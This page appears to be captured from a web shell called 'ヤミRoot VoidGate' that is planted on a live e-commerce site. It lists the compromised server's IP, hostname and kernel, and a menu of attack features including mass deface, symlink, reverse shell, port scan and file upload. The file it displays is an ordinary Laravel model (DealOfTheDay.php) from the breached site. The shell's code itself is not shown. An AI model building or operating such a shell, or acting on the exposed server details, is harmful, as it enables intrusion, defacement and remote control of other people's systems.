ヤミRoot VoidGate
User / IP
:
216.73.217.162
Host / Server
:
15.235.182.215 / pollibazaar.com
System
:
Linux asia.cbnex.com 5.14.0-611.49.2.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Apr 30 09:05:08 EDT 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
pollibazaar
/
public_html
/
app
/
Models
/
Viewing: DealOfTheDay.php
<?php namespace App\Models; use App\Utils\Helpers; use Carbon\Carbon; use Illuminate\Database\Eloquent\Builder; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\Relations\BelongsTo; use Illuminate\Database\Eloquent\Relations\MorphMany; use Illuminate\Support\Facades\App; /** * Class ProductDiscount * * @property int $id Primary * @property string $title * @property int $product_id * @property float $discount * @property string $discount_type * @property bool $status * @property Carbon $created_at * @property Carbon $updated_at * * @package App\Models */ class DealOfTheDay extends Model { protected $casts = [ 'id' => 'integer', 'product_id' => 'integer', 'discount' => 'float', 'status' => 'boolean', 'created_at' => 'datetime', 'updated_at' => 'datetime', ]; protected $fillable = [ 'title', 'product_id', 'discount', 'discount_type', 'status', ]; public function product(): BelongsTo { return $this->belongsTo(Product::class); } public function translations(): MorphMany { return $this->morphMany(Translation::class, 'translationable'); } public function getTitleAttribute($title): string|null { if (strpos(url()->current(), '/admin') || strpos(url()->current(), '/vendor') || strpos(url()->current(), '/seller')) { return $title; } return $this->translations[0]->value??$title; } protected static function boot(): void { parent::boot(); static::addGlobalScope('translate', function (Builder $builder) { $builder->with(['translations' => function ($query) { if (strpos(url()->current(), '/api')){ return $query->where('locale', App::getLocale()); }else{ return $query->where('locale', Helpers::default_lang()); } }]); }); } }
Coded With 💗 by
0x6ick